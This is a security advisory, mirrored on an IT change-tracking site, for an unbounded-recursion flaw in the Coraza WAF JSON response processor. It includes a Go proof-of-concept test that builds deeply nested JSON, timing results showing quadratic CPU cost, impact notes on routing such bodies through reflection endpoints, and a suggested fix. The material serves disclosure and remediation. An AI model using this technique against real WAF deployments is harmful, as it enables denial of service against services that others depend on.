Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 7/9 advisories · checked 15:15 UTC Customize Public modeDiscuss ChangeIntel on Discord

Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-3c6w-j9xm-8h2h

Published

### Summary The JSON response body processor parses response bodies with no recursion limit. `ProcessResponse` calls `readJSON(ss, ignoreJSONRecursionLimit)`, and that constant is `-1`. The guard in `readItems` only fires on `== 0`, so counting down from `-1` (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: `ProcessRequest` passes the configured limit (default 1024). There is no equivalent directive or default for responses. Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default `ResponseBodyLimit`) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time. ### Root cause `internal/bodyprocessors/json.go` ```go const ignoreJSONRecursionLimit = -1 // line 51 func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error { ... data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1 } func (js *jsonBodyProcessor) ProcessRequest(...) error { ... data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024 } ``` The guard and the decrement: ```go func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error { if maxRecursion == 0 { // line 106 return errors.New("max recursion reached while reading json object") } ... iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126 ``` Note that `ProcessResponse` discards `BodyProcessorOptions` (the parameter is `_`), so even a caller that wanted to set a limit on responses has no way to. ### Why the cost is quadratic Every nesting level re-parses the remaining nested document through `gjson.ForEach`, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55): ``` depth bytes ProcessResponse time 5000 30004 30 ms 10000 60004 119 ms 20000 120004 456 ms 40000 240004 2.18 s 87381 524290 12.09 s ``` Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB `ResponseBodyLimit`. ### PoC Save as `internal/bodyprocessors/poc_json_test.go`, then: ``` go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/... ``` ```go package bodyprocessors_test import ( "strings" "testing" "time" "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" ) func nestedJSON(depth int) string { var sb strings.Builder sb.Grow(depth*6 + 4) for i := 0; i < depth; i++ { sb.WriteString(`{"a":`) } sb.WriteString("null") for i := 0; i < depth; i++ { sb.WriteByte('}') } return sb.String() } func TestPoCJSONResponse(t *testing.T) { proc, _ := bodyprocessors.GetBodyProcessor("json") // Request path is bounded, response path is not. body := nestedJSON(5000) v := corazawaf.NewTransactionVariables() errReq := proc.ProcessRequest(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024}) errRes := proc.ProcessResponse(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{}) t.Logf("depth=5000 ProcessRequest err=%v", errReq) t.Logf("depth=5000 ProcessResponse err=%v", errRes) // Quadratic scaling on the response path. for _, depth := range []int{5000, 10000, 20000, 40000, 87381} { b := nestedJSON(depth) vv := corazawaf.NewTransactionVariables() start := time.Now() proc.ProcessResponse(strings.NewReader(b), vv, plugintypes.BodyProcessorOptions{}) t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start)) } } ``` Output on the reference machine: ``` depth=5000 ProcessRequest err=max recursion reached while reading json object depth=5000 ProcessResponse err=<nil> depth=5000 bytes=30004 time=30.3ms depth=10000 bytes=60004 time=119.3ms depth=20000 bytes=120004 time=456.1ms depth=40000 bytes=240004 time=2.185s depth=87381 bytes=524290 time=12.085s ``` ### Impact This needs `ResponseBodyAccess` turned on and a backend that returns JSON (`application/json`). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF. The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have. ### Suggested fix Bound `ProcessResponse` the same way the request path is bounded: add a `ResponseBodyRecursionLimit` directive, or just pass `RequestBodyRecursionLimit` instead of `-1`.

Source published
8 Oct 2026 17:51:42 UTC
Source modified
19 Oct 2026 21:40:39 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 8 Nov 15:15 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current